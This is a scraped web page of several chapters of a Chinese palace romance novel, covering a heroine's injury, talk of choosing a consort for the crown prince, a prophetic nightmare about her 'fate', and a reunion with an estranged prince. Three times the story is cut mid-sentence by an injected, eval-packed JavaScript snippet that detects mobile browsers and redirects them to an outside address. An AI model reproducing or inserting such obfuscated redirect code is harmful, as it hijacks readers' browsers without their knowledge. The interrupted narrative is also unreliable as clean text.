然而她刚转过身,便听见他冰冷的声音在背后响起:“是生是死,皆是我一人之事,不劳姜姑娘费心。” 这是入宫多日,她第一次听见谢怀琤开口说话。他的声音并没有想象中的病弱之气,只是低沉冷冽,令人听后不由自主觉得遍体生寒。 这样毫无温度的嗓音,连带着说出口的话也那般疏离淡漠。姜清窈身子一僵,有那么一刻恍惚。原来,曾经的相识之情已经灰飞烟灭,他对自己,便如同对待其他生人一样,并无半分特殊。 她回头,却见谢怀琤恰好也转过身去,只留给她一个背影,没有半分迟疑地离开了亭子,没有给她看清他神色的机会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13459524|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微云愤愤不平:“姑娘念着旧日情谊,好言问候,五殿下怎能如此无情?” 姜清窈摇了摇头,心尖有一抹淡淡的苦涩化开,夹杂着想起年少情谊的失落,启唇道:“罢了,我与五殿下毕竟多年未见,彼此早已陌生。他遭此巨变,心境不同以往。以我们如今的关系,我所说的那些话兴许有些逾距,他这般回答也无可厚非。” “回宫吧。”她把目光投向了前方,淡淡道。 * 永安宫里,女医先仔细查看了姜清窈的伤势,又凝神把了脉,这才对神情担忧的皇后道:“娘娘,姜姑娘右脚扭伤,好在伤势不算重,并未伤及骨头,只是接下来这些时日怕是无法独自行走。臣会开些药膏为姑娘敷上,每日需三次换药,莫要耽误。” 皇后点点头:“有劳你了。” 微云领着女医去外间开药方,皇后在床边坐下,叹道:“窈窈,若不是为了采摘那些梅花,你也不会受伤。往后这些事情就交由宫人们去做,明白吗?” 她将姜清窈的手翻转过来,看着那掌心的印子,有些心疼地道:“好孩子,你受苦了。” “姑母,我没事,”姜清窈笑了笑,“不过一点轻伤而已,不碍事。” 一旁的谢瑶音道:“窈窈,我方才命人准备了拐杖和轮椅,你养伤的这些日子若想出门,一定要告诉我一声,我陪你一道。” 姜清窈看向她,弯唇一笑:“阿瑶,谢谢你。” 皇后又道:“既然受了伤,这些时日就不必去萤雪殿了吧。” 姜清窈想起先前答应谢瑶音的话,迟疑了一下道:“太医说头几日需要卧床,往后并不一定。若我可以拄杖或是坐轮椅出门,还是莫要耽误课业了吧。” 皇后见她如此说,只好道:“若太医说你可以出门,便可以。这几日就先歇着吧。” 接下来几日,姜清窈安安稳稳待在寝殿,每日按时敷药。她扭伤后,皇帝为表关怀,特意赐了药。这一消息传了出去,后宫几个高位妃嫔随即都派了宫女前来探望,以表对这位皇后娘家侄女的格外重视。 待静养了数日后,姜清窈按照太医的嘱咐,开始尝试着下地缓慢行走。整日闷在房中,她也觉得乏味。 这日她正搭着微云的手,艰难地拄着拐杖,在永安宫廊下走着,正巧赶上萤雪殿散学,谢瑶音面色不虞地走了进来。 姜清窈停住步伐,问道:“怎么这副神情?” 她丧气道:“今日课上,葛夫子点评了我的书法,说并无太大长进。窈窈,你说我是不是真的写不好字了?” 姜清窈摇头道:“怎会?只是书法之事,非一朝一夕能够练成的。阿瑶,不必心急,夫子应当也没有催促的意思,只是如实言语。” 谢瑶音连声叹气:“若是我始终无法进益,只怕夫子会认为我朽木不可雕也。” 她诉完苦,又问道:“窈窈,你今日觉得如何?” 姜清窈含笑点头。 “对了窈窈,”谢瑶音忽然想起什么,刻意压低了声音,“我今日晨起去上学之前,隐约听见母后和身边人说起一事。” “何事?”姜清窈问道。 谢瑶音环顾四周,说道:“听母后说,父皇打算为皇长兄选妃。” 姜清窈微怔:“太子殿下?” 11. 选妃 谢瑶音点头:“皇长兄已十九岁了,放在寻常人家也该说亲了。何况是他这位东宫储君呢。” “确实如此,”姜清窈觉得有些累了,将拐杖放下,也在她身畔坐下,“不知陛下和姑母看中了哪家贵女?” “还未曾定下,”谢瑶音打了个哈欠,“太子妃的人选必得慎重,父皇和母后想来会从所有京中适龄女子中好生挑选的。” 她隔了半晌又低声道:“说起适龄贵女,其实我们身边就有一位。据我所知,姑母也一直有这般打算,虽未直说,但明眼人都看得出来。” 姜清窈思绪回转:“……荣安郡主?” 谢瑶音点头:“闻姐姐的人品家世都是数一数二的,更与皇家沾亲带故,因此姑母一直想让她与皇兄亲上加亲。想来此次祈福,她也是会去的。” “可我看郡主本人性子淡淡,似乎对任何事都无意。”姜清窈道。 “闻姐姐性子冷淡,这一点与姑母倒是截然不同,”谢瑶音道,“而且她虽然一直在宫中上学,我却从未见她对皇兄有过刻意接近或是结交的举动,想来她对太子妃之位并没有什么想法。” “总觉得郡主是更爱诗书字而不恋尘世的人,”姜清窈笑了笑,“她身上便有这般品格。” 谢瑶音道:“正是,只是姑母性子强势,不知她能不能拗得过姑母。” 那位长公主,姜清窈虽与她只有一面之缘,但依稀记得,那是个性情泼辣的女子,而她的驸马则是位温文尔雅、精通诗书之人。如此看来,闻萱宜更像她的父亲。但驸马在长公主面前一向轻声细语,想来闻家大小事宜皆是长公主一人决断。 左右此事与她无关,倒也不必多想,姜清窈轻轻咳嗽了一声,慢慢抚平膝头的衣裳褶皱,却见谢瑶音忽然盯住了自己,便奇道:“怎么了?” 她伸手摸了摸脸颊:“莫不是我面上有什么脏污?” “窈窈,”谢瑶音压低声音道,“说起来,你的出身和年纪,似乎也合适。你说,父皇和母后会不会考虑你?” 姜清窈禁不住笑出了声:“你怎么会有这样的想法?不会的。” “为何?”谢瑶音问道,“你不喜欢皇长兄吗?” “......阿瑶,”姜清窈略显无奈,“我与太子殿下并不相熟,又何来喜不喜欢?” 她敛了笑,说道:“姜家已经出了一位皇后,又怎会再出一位太子妃呢?本朝从未有过这样的先例。况且......” 姜清窈知道,以父兄在军方的势力和姑母如今的地位,任何一位君主都断不会再与姜家结亲,更遑论太子妃这个至关重要的位置了。否则,姜家只会招来更多的猜忌。因此,无论是皇帝出于制衡朝堂的目的,还是姜家出于自保的意图,双方都不会把她纳入太子妃的人选去考虑。 谢瑶音虽非皇子,但对一些皇族之事也并非懵然不知,因此便也没有继续追问,而是恍然大悟起来:“前些日子,萤雪殿新来了一人,莫非就是冲着此事来的?” 姜清窈微微诧异,问道:“来了何人?” “文国公的嫡亲孙女,名唤傅宝吟,年方十六,”谢瑶音解释道,“那日我去上学,见风荷堂多了一个生人,这才知道贵妃向父皇请旨,希望能为三妹选一个年纪相仿的贵女作为伴读,就挑中了傅姑娘。” “贵妃还说,如此一来,风荷堂便恰好有六人,两两为伴,可以互相讨教,”谢瑶音皱眉,“她不过就是打谅着五妹和闻姐姐好性子,不在意这些,便擅自做了主,将她二人划到了一处去。” “但陛下也答应了,不是吗?”姜清窈道。 谢瑶音叹气道:“贵妃宠冠后宫,父皇对她的请求岂有不答应的?左右这又不过分。” 她以指抵了抵下颌,自言自语道:“莫非父皇相中了傅姑娘?不对,傅姑娘进宫时,母后尚未提起为皇长兄选妃之事,应当只是巧合。” ”但贵妃母家与文国公夫人交好,不然也不会挑了傅宝吟入宫,”谢瑶音道,“莫非贵妃想扶持傅家女子?” 姜清窈轻推了推她肩头:“阿瑶,莫要多想这些事了。姑母唤我们进去呢。” 两人沿着回廊往回走,在殿门外遇到了恰好来问安的太子谢怀衍。 太子抬手免了两人的礼,先问了谢瑶音几句话,又看向姜清窈,问道:“表妹的伤养得如何?” “多谢殿下关怀,”姜清窈垂首道,“臣女一切无碍。” 太子颔首,并未多言,很快收回目光,率先迈过门槛进了殿内。 皇后自然留他在永安宫用午膳。膳桌上,姜清窈沉默地喝着碗中的汤,耳边听见皇后向太子道:“陛下已经吩咐人为你准备选妃事宜。世家适龄的女子甚多,你可曾有中意之人?” 太子面色如常,只恭敬地微微俯身:“不曾。儿臣一切听父皇和母后安排。” 皇后笑道:“你这孩子,这般终身大事,除了要在家世和人品上多花些心思定夺,也须得你心中满意才行,日后才能琴瑟和谐。” 太子微赧:“儿臣从未想过此事,对京中贵女们更是不甚了解,何来中意之人呢?” “也是,”皇后放下筷子,“你日日都在东宫苦读,或是帮助你父皇处理政事,自然不会在旁的事情上留意。既然如此,少不得需要陛下为你多操心了。” 话至此处,便暂且止住了话头。待用罢午膳,皇后自去歇午觉,吩咐人送太子出去。 姜清窈本欲起身,但太子见她行动不甚方便,便温言止了她的动作。因此,最终还是谢瑶音送了兄长出门。 她回了枕月堂,微云早已收拾好了床榻,见姑娘倦眼乜斜,便安静地扶着姜清窈躺下,放好床帐退了出去。 这一觉睡得绵长却又不安稳。 半梦半醒之间,姜清窈一时间分不清自己是在梦中,还是已经醒转。眼前仿佛聚集着一团又一团浓重的雾气,辨不清前路。她想要迈步向前走,一低头却发觉自己被层层叠叠的藤蔓缠绕住。 姜清窈转头打量着四周,却不曾发现一个人。她心中不安,想要极力挣脱束缚,却无济于事。 渐渐的,有模糊不清的诵经声自远处传来,眼前的一切开始旋转,姜清窈只觉得头晕眼花,便闭上了眼睛,片刻后才慢慢睁开。 再度睁开眼,她隐约看见一个手握佛珠的僧人正盘膝坐在不远处,口中念念有词,依稀能听见什么“命格”之话。一个身形高大的人背对着她,正与那僧人交谈着什么。 似乎是察觉到了她的存在,那人转过身来。他面目模糊,看不清五官,一步步向她走来,分明没有出声,却透着一股阴森的威压感。姜清窈下意识想要逃走,却见那人的手中陡然长出藤蔓,直逼她而来,将她牢牢捆住。 他的声音嘶哑而又如鬼魅般令人不寒而栗:“此女既有那般命格,我必取之。”说着,他的面目猝然变成了一把闪着寒光的剑,直直往姜清窈心口刺了过来。 “啊!” 她满头冷汗,猛地从床榻上坐起身。 “姑娘怎么了?”眼前的床帐被人掀开,微云连忙凑上前来,见姜清窈额角皆是汗,十分忧急,“姑娘做噩梦了吗?” 姜清窈眼神空泛,神情恍惚。微云看得心惊肉跳,只道她是魇着了,慌忙便要起身去请太医。 “......微云,”她低低地咳嗽了一声,“我无事,只是被方才的梦吓着了。” 因着午睡,姜清窈拆了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13459525|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满头的钗环首饰,绸缎般的乌发柔顺地倾落下来,衬得她一张脸格外苍白,纤细的眉如笼在烟雾之中一般蹙着,眼瞳深处依然残留着几丝无措与心有余悸,隐隐泛着一层水光。 微云在床畔坐下,柔声道:“姑娘,梦中的一切都是虚妄的,不必挂怀。”她伸手握住姜清窈尚有些冰凉的手暖着,安慰道:“姑娘莫怕,我一直在这儿。” 姜清窈闭了闭眼,慢慢点头:“我明白。” 微云见她神思渐渐恢复如常,这才小心问道:“姑娘是梦见了什么鬼怪之事吗?” “我梦见了两个很奇怪的人,”许久,姜清窈声音有些颤抖地道,“他们说我有一种特殊的命格,用......用藤蔓把我死死捆住,用剑刃对着我,想要取我性命!我拼命挣扎却也无济于事。”说罢,她心有余悸地伸臂抱住双膝,蜷缩在了被褥之中。 “姑娘宽心,兴许是这些日子养伤,整日闷在屋子里,才会有了这么多旁的思绪,”微云隔着被子轻轻拍着她的肩膀,“今日天色很是晴好,这会子日光晒得人暖洋洋的,姑娘要不要在院子里略坐一坐,见见光亮?” 姜清窈深吸一口气,轻轻摇了摇头:“我身上乏得很,还是不必了。”她呆呆出了会神,道:“我从未做过这般骇人的梦,难道......是什么预示吗?” 微云忙道:“姑娘怎能轻信这梦?梦都是无凭无据的,岂能左右人间之事?”她劝慰道:“奴婢始终相信,事在人为。” “至于命格之事,那都是算命之人用来唬人的话,人生在世,所历之事,岂是他人能够轻易推算出来的?”微云神色坦然,“奴婢从不信这些事情的。” 姜清窈望着她,心渐渐安定了下来。她揉了揉额角,颔首道:“你所言极是,是我多思多想了。” 微云见她神色平静下来,便道:“时辰还早,姑娘要不要再躺一会?” 隔着纱帐,姜清窈看见明晃晃的日光自窗格子之间透进内寝,将窗边的妆台镀上一层柔和莹润的光。她略想了想,道:“扶我起来吧,我去陪姑母说会话。” 梳妆时,姜清窈担心自己的面色会让姑母起疑,便在两颊扑了些胭脂,又在唇瓣上轻点了点。 铜镜之中的少女乌发红唇,眉目娇美,发髻中插着一只莲花形状的步摇,垂下晶莹剔透的碎玉坠子,随着她侧头的动作随之摇曳生姿。姜清窈定了定神,这才起身往皇后起居的寝殿走去。 皇后正倚在炕上,随意翻着几册书。见姜清窈掀帘进来,她含笑道:“窈窈,怎么不在寝殿里歇着?” 姜清窈搭着微云的手在炕边坐了,这才道:“太医说,我须走动走动,否则于养伤无甚益处。” “可惜你的伤未曾好,过几日的宫外祈福怕是无法去了。”皇后抚了抚她的手,“我原想着,你如今长住宫中只怕闷坏了,刚好借着此次祈福出宫去散散心。” 姜清窈眸光轻轻一动,问道:“祈福?”她话一出口,很快明白过来:“祈福是每年冬至的传统。” 皇后用手帕点了点唇角,笑道:“每年冬至日前后,陛下都会亲自领着宫中众人前去京郊云潭寺祈福,以求来年我朝风调雨顺,国泰民安,今年也不例外。正好此次祈福,朝中三品以上的官员及家眷都可随行,陛下的意思便是借此机会让衍儿对她们的脾性、举止有些了解。说不定,他能碰上中意的姑娘。” “那日云潭寺会安排众僧人诵经祈福,还可前去拈香摇签,”皇后微微笑了笑,“许多年轻姑娘们喜好请僧人解签,或许能算出往后命格和姻缘。听闻寺庙中有一位秉烛大师最擅此道,解签或是算出的命格多有应验。” 那两个字落入耳中,姜清窈的身子禁不住轻微一颤。 12. 冬祈 皇后没留神姜清窈细微的举动,又道:“不单单是姑娘们,连衍儿对此也有些信服。这一点,他倒是像极了陛下。”不知想起了什么,她缓缓叹了口气:“想当年,秋妃也是受了命格之说的连累,才会落得那般下场。” “......秋妃娘娘?”姜清窈愣了愣。 她觉得心跳得有些快。无论如何,秋妃当年落得那样的结局,一定有什么不同寻常的内情。 “多年过去了,或许宫中已经没有多少人还记得她了,”皇后陷入了感伤的情绪,“可本宫还记得她的模样。那些年,秋妃宠冠后宫,即便是如今的贵妃也不及秋妃当年的盛宠。可她从未恃宠生娇,更不曾有过一丝一毫的逾越。不论是在陛下还是本宫面前,总是温柔和顺,谨守规矩。” 姜清窈被这话勾起回忆,轻声道:“其实,秋娘娘是个很好的人。”她说完,小心地看了眼皇后,问道:“姑母,秋妃娘娘究竟是因为何事才会......那般?” 皇后的面容变得严肃:“当年,若不是那几句因秋妃生辰八字而起的判词,她又怎会凄凉而亡。” 姜清窈深吸一口气,忍不住道:“可人的命数,岂是几句话能够道尽的?” “窈窈!”大概是她表现出来的惊愕和抵触太过明显,皇后不得不加重语气唤了她的名字,“本宫知道你不信,本宫亦不信,可陛下对之深信不疑,他不会容许任何人忤逆他的意思,你明白吗?” “只要你在这宫中一日,便不可轻易将自己的喜好和态度流露出来,否则传入陛下耳中,便会为你自己招来祸端。”皇后厉声道。 “再者,当年秋妃之祸,发于此,却不止于此,”皇后缓和了语气,“命格之事后,陛下并非完全冷落了秋妃,否则也不会在她重病之时亲去探望。秋妃弥留之际发生的那桩事,才是陛下彻底震怒的缘由。可究竟是什么事,只有陛下自己知道。本宫即便身为中宫之主,对这其中的秘辛却也不得而知。” 姜清窈有些不寒而栗,心底仿若浸了千年玄冰一般,冷得发颤。那个高高在上的帝王,一念之间便能够让他的妃嫔落得如此下场,毫不念及往日情分。 她低垂着头,想起自己记忆里的秋妃,一时间有些鼻酸。 “窈窈,”皇后叹道,“从前秋妃对你视若己出,我知道你心中感念她。那时,本宫常忙于处理宫中事务,无法时时刻刻陪着你,那时秋妃常常领着你和五殿下一道在宫中漫步游玩。她性子柔,又有耐心,其他皇子公主也很喜欢她。” “正因如此,你才不能再在此事上有所踟蹰,否则便会犯了陛下的忌讳。”皇后见她神思黯淡,忍不住抚了抚她的肩头,“窈窈,你心软又念旧,可这一点有些时候并不是好事。” 姜清窈低低地嗯了一声:“姑母,我明白了。” 可被撕扯开来的旧日记忆,彻底印在了她脑海中,无法忘怀。她想得越多,越无法对往事无动于衷。 可她又能怎样呢。姜清窈望向窗外,一眼看见散学归来的谢瑶音正步伐轻快地绕过影壁,向内殿走来。她收敛思绪,努力让自己不去想那些让人神伤的往事,转而露出浅淡的笑容。 “母后,窈窈,我回来了。”谢瑶音解下外衣递给宫女,几步跨了过来,挨着姜清窈坐下,满面好奇道:“你们在说什么呢?” 皇后笑了笑道:“在说几日后出宫祈福的事。” 谢瑶音闻言眉眼飞扬,笑道:“整日闷在宫里,可算是能出门了。云潭寺春夏之时翠意葱茏,林壑尤美。如今冬日虽无甚美景,但也颇有几分景致。” 她说起出宫之事便显得很是期盼,眉梢眼角皆是笑意。姜清窈抿嘴一笑:“待来年春日,我也想去看一看。” “可惜窈窈伤势未愈,无法出远门。若是母后与我都走了,岂不是留她独自一人在宫中,”谢瑶音看着她,“窈窈,你若觉得孤单,不如我留下来陪你吧。” 姜清窈知道她对此次出宫的机会盼了很久,自然不会答应:“你们来去不过一日,很快便会回来。阿瑶,你不必顾念我。” “何况,还有微云陪我说话解闷呢,我不会觉得无趣的。”姜清窈看着她,柔声道。 皇后亦道:“待窈窈伤好了,何愁没有再出宫的时候?此次是冬祈,待冰消雪融之时还有春祈,那时云潭寺的风光会更好。” “母后,听说此次祈福祭祀,还有为皇长兄相看太子妃的意思?” 皇后掌不住笑了:“你这孩子,消息倒是灵通。若是大张旗鼓地办什么宫宴,反而显得太过张扬,不如先借此次祈福见一见。若是衍儿果真遇上了极出挑的女孩儿家,那便顺理成章;若是没有,倒也无妨,总归只是一次寻常的皇家祈福,并不会耽搁什么。” 谢瑶音双手托腮:“不知兄长喜欢什么样的女子呢?” 话音刚落,一声轻笑响起。内殿的帘子被人掀开,太子缓步走进。 他一身锦袍,丰神俊朗,面带笑意。姜清窈正欲起身,被他抬手止住:“表妹有伤在身,不必多礼了。” 皇后莞尔:“阿瑶,你瞧见了吧?果然背后不能说人,正被你皇兄捉了现行。” 太子和谢瑶音同时笑了,殿内一派其乐融融。 这日晚膳后,皇后又留太子说了会话,再度商议了一番几日后的祈福事宜。 “请母后放心,一应出行事宜儿臣都已经多番确认过,沿途都有禁军护卫开道,云潭寺也会预先安排人把守着,不会让闲杂人等随意出入,以免惊扰了父皇和母后。”太子恭谨道。 “你办事,本宫一向放心,”皇后说了几句话,嗓音略有些沙哑,便轻微咳嗽了几声,便见太子很快起身奉了茶水,关切道:“母后用盏茶,润润喉咙,莫要太劳累了。” 皇后抿了口茶水,看着太子的模样,微微笑道:“衍儿,你父皇提到的那些贵女,你可有中意的?” 太子神色一顿,依旧是惯常的平淡模样:“请母后恕罪,儿臣与她们素未蒙面,并不相识,又何来中意一说?” 皇后失笑:“罢了,待来日宫外祈福再说吧。” * 姜清窈的伤势渐渐好转,虽不能出远门,但勉力行到萤雪殿却还是可以的。太医也嘱咐,不可整日坐在原处不动,而应当适当走动。 这几日雪停了,去萤雪殿的路也早早被宫人们清扫得一干二净。姜清窈坐在轮椅之上,微云在身后推着她,谢瑶音则跟在身侧与她说着话。 “窈窈,你今日便能够见到傅家姑娘了。”谢瑶音道。 姜清窈回忆了一下:“是文国公的女儿?” “正是。”谢瑶意颔首。 说话间,两人也到了萤雪殿。殿内另外四人已经在书案后坐下,闻声各自起身见了礼。 傅姑娘——闺名唤作傅宝吟,约莫十六七岁年纪,身如弱柳,声若莺啼,一颦一笑都娇柔动人,令人情不自禁地想软了嗓音同她说话。 叙起年岁,她比姜清窈小了一个月,便柔柔地唤了声“姐姐”。 休课间隙,谢瑶音自然是出了殿门去透气,闻萱宜一向不问窗外事。姜清窈倚在身后的软垫上,微云替她按摩着脚踝,那恰到好处的力道让她有些昏昏欲睡,耳边依稀听着谢如婉与傅宝吟说起了出宫之事。 她恍惚想着,往日谢如婉总是与四公主谢凝玉相谈甚欢,今日却至今未曾听见后者的声音。 忽然,话题转到了她身上。 “姜姐姐,”傅宝吟娇声唤她,“三日后的祈福,我们一道结伴而行如何?” 姜清窈回神,笑着摇头道:“多谢妹妹的好意,只是我伤势未愈,不便出宫,因而此次祈福无法前去。” 傅宝吟打量着她,似是有些意外:“我以为以姜姐姐的家世身份,定是会去的,谁知这般不巧。” “此次冬祈窈窈是赶不上了,来年春祈或许可以。”谢瑶音正巧走进殿内,听见了两人的对话,便接口道。 傅宝吟眸光轻轻一闪,含笑道:“那便等春日之时,再与姐姐相约吧。”她看着姜清窈,唇角不易察觉地抿出了一个弧度。 姜清窈收回目光,余光却见谢凝玉沉默地坐在谢如婉身后,时不时轻轻抬眼看过来,似乎想要开口,却到底还是低垂了头。 殿外响起几声通传,几人知是书法课的时辰到了,便各自噤声。 葛夫子肃容踏进殿内,开始了每日的讲学。待讲解了今日的内容,他如往常一般,布置了写字的课业,稍待后便开始逐个查看每人的字。 “窈窈,”谢瑶音见葛夫子正在凝神看闻萱宜的字,便轻声道,“这些日子你不在萤雪殿,日日书法课我都悬着一颗心。” 姜清窈同样轻声问道:“这些日子,夫子如何点评你的字的?” 谢瑶音道:“前几日不曾多说什么,反倒让我心中发慌。不知今日,他会说些什么。” 恰在此时,葛夫子走到了谢瑶音身畔。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13459526|141663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢瑶音惴惴不安,不知今日夫子又会怎样指出自己的问题。 葛夫子看了许久,方开口道:“二公主近日的字有所进益,可见心境沉静了下来,似是摸索到了门路。还望公主日后勤加练习。” 谢瑶音怔了怔,面上浮起喜色:“多谢夫子,学生记住了。” 葛夫子又看向了姜清窈的字,半晌不语,许久才道:“这些日子姑娘静心养伤,想是于书法之上疏懒了不少。” 他的话并不重,语气也并不严厉,却还是让姜清窈双颊绯红,有些惭愧地低下了头。 葛夫子点到即止,不再多说,很快便继续开始讲学。姜清窈握着笔有些出神,这些日子她脚伤时而疼痛难忍,便情不自禁松懈了一些,不曾日日练习,以至于今日提笔只觉得手腕虚浮无力,落笔的力道和走向自然也不如以往了。 谢瑶音见葛夫子走远了,这才安慰道:“窈窈,夫子对你一向严格,也是重视你的缘故。” 姜清窈颔首:“我明白。这些日子我确实惫懒了。”她打定主意,接下来再不可以养伤为借口,荒废课业了。 待今日散学,姜清窈行动缓慢,因而与谢瑶音走在最末。两人一抬眼便见谢如婉与傅宝吟言笑晏晏,一路并肩而行,显然极为投缘,有说不完的话。而往日总是与谢如婉一道的谢凝玉却独自一人落在后面,那瘦弱的双肩随着她轻微的咳嗽声而颤了颤,显得格外孤独。 谢瑶音只觉得稀奇:“真是难得,三妹与四妹一向好得像一人,今日怎会如此冷落她?” 姜清窈若有所思:“想来是因为有了傅姑娘吧。”她问道:“只是即便多了一人,三公主也不该如此冷落四公主吧。” 话音刚落,却见谢如婉陡然回头,向着谢凝玉唤了声“四妹”,招手示意她跟上来。谢凝玉似乎愣了愣,略微迟疑了一番,还是加快步伐跟了上去。只是三人虽并肩而行,谢凝玉却始终不发一言。 谢瑶音摇头叹气:“其实四妹的性子最是安静柔弱,与郡主一样偏好独处,奈何她母妃一意孤行,才会让她始终寸步不离地跟在三妹身边。” 四公主的母妃怡嫔入宫多年,只是一直不大得宠,位分也多年不曾晋封。姜清窈问道:“怡嫔娘娘与贵妃娘娘交好吗?” 谢瑶音陷入回忆,道:“当初,怡嫔娘娘正是因贵妃的引荐,才会在父皇面前露了脸,否则只会永远待在深宫之中不见天颜,更不会有如今的位分。因此,她对贵妃感激不尽,事事顺从,才会让四妹也如她对待贵妃一般与三妹交好。” 两人了然,便止住了这个话题,往永安宫去了。 * 三日后,冬祈。 天色灰蒙蒙的,宫城内外却已经站满了人。无法前去祈福的朝臣和低位宫人按位次共同恭送祈福的队伍浩浩荡荡出了宫门后才各自散去。姜清窈立在原处,随着众人的动作俯身行礼,待直起身后,皇后和谢瑶音所乘的马车已经走远了。 等到马车的辘辘声渐渐远去,皇宫之内顷刻间便寂静了下来。今日姜清窈不曾坐轮椅,而是搭着微云的手,缓慢地一瘸一拐行走。 她有心想多走几步,便绕了远路回永安宫。 “陛下和娘娘一走,这宫中竟不剩多少人了,”微云道,“此次宫中除了姑娘有伤在身无法前去,大约也就只有四公主同样留在了宫中。” 谢凝玉是一日前病倒的,皇后特意吩咐她和谢瑶音去探望了一番,得知是偶感风寒,症候并不严重,只是难免要错过祈福了。 整日闷在宫中,祈福是难得的能够出宫散心的机会,因此姜清窈本以为谢凝玉会感到失望。然而那日,她发觉谢凝玉虽有病容,却并不见失落,甚至较之平日更松快。兴许正如谢瑶音所说,这位四公主是个喜静的人,并不似她的母妃那般爱与人结交。 姜清窈敛去思绪,一眼却见前方快要走到了烟波池畔。她定了定神,继续向前走去。 “姑娘?”微云不解。 姜清窈笑了笑道:“不知为何,今日有些想去水边看一眼风景。” “那奴婢扶着姑娘,姑娘莫要怕。”微云说着,手上的力道不自觉加重。 两人避开丛丛树木,沿着中间的小道慢慢走到了湖畔。姜清窈站定,慢慢看向了水面。 偶一侧头,却见身畔站着一个人,正沉默地望着远处。方才被树木所挡,她竟没发觉。 “是五殿下。”微云讶异不已,低声道。 13. 人情 许是听见了这边的动静,那人转过头来,对上姜清窈略带探寻的神情。 谢怀琤似乎愣了片刻,目光下意识下移,极迅疾地扫过她行动不便的伤处,很快移开,恢复成惯常的平淡。 姜清窈想起上次他冷漠的话语,心知他不喜被人打扰,便没有打算久留。 冬日严寒,水面皆结了层冰。透明晶莹的冰面折射着天光,让人能够想象出冰面之下是怎样的波澜起伏和汹涌。往事浮上心头,姜清窈被风一吹,禁不住打了个寒噤,下意识后退了一步。 眼前蓦地一暗,一个人走了几步,沉默地挡在了她身前,替她遮住了那蔓延入视线的诡谲水面。姜清窈抬眸,发觉自己被他挺拔的背影牢牢遮住。 眼前看不见那浩渺的烟波池,她只觉得呼吸都平和了许多,便低低地道:“殿下怎么在此?” 谢怀琤转身,两人目光相接。他看着瘦弱,然而这般相对而站,身形却依然颇有压迫感。 他的声音不带任何情绪:“祈福之事,我不得参与,向来如此。” 原来今日除了染病的四公主,还有他这个被冷落被苛待的皇子也留在了宫中。只是与因病不能前去的四公主不同,他一向是不被允许出现在那样的场合。皇帝对这个儿子的厌恶竟已到了这个地步。 姜清窈一时间不知该说些什么,谢怀琤却毫不在意。他只淡淡道:“此处风大,还是莫要久待了。” 微云亦上前道:“姑娘,我们回宫吧。” 谢怀琤率先举步往前走去,然而不过几步,他蓦地站定,一手捂住胸口剧烈咳嗽了几声,同时身形一晃,下意识伸手扶住了一旁的树干。 “五殿下,你怎么了?”姜清窈上前一步,问道。 他没作声,缓了片刻才重新站直身子,复又往前走去。 擦身而过的一瞬间,姜清窈却看见有殷红的血自他手掌心滴落,沉闷地没入脚下的土地。 “五殿下,”她道,“你受伤了?” 谢怀琤低头摊开手掌,掌根处纵横分布着几道伤疤,看起来尚未完全痊愈,却再度被划开,露出鲜红的皮肉,颇有些触目惊心。他却好似察觉不到疼痛一般,面无表情地看了眼伤口,毫不在意地攥紧了掌心,任凭指尖重重按在伤处,将伤口撕扯开来。 他目光冰冷,唇角紧抿,径直便打算离开。 然而下一刻,谢怀琤只觉得手臂被人轻轻拉住。少女身上浅淡的幽香缠绕上他,她的吐息清晰可闻。 “你做什么?”他的身体有些僵硬。 姜清窈记得,小时候他们常常一道玩耍。那时的谢怀琤是个淘气活泼的孩子,以至于常常磕磕碰碰也不在意。 宣朝对皇子要求很严,谢怀琤年幼便开始演戏骑射。然而尚未长成的小小少年难免控制不住弓箭的力道,初学时稍不留心便会受伤。 那日谢怀琤自演武场回来,恰好在路上遇到了她。她发觉他一直遮遮掩掩的,将手藏在身后,便一时好奇,趁他不备,把他的手拽了出来,却发现手心有一道深深的伤口,不断渗出血迹。 姜清窈大惊失色,小脸都白了几分:“一定很疼吧?” 她分明看见谢怀琤歪头过去,咧嘴嘶嘶吸了几口冷气。可当他转头过来时,却露出一个轻松的笑容:“不疼。” 姜清窈在袖中摸索了半晌,终于找出了一方小小的手帕。她郑重其事地拿过他的手,先是小心翼翼地吹了吹,再认真地用手帕缠了一圈,最后抬头看他,问道:“还疼吗?” 那双澄澈如黑葡萄一般的眼睛一眨不眨地盯着他,谢怀琤愣了愣神,已到嘴边的“不疼”两字不知为何咽了回去。 他皱了皱眉头,小声道:“疼。” 女孩闻言,便继续捧着他的手,轻轻吹着。谢怀琤垂眸看她,不自觉露出一抹笑意。 ...... 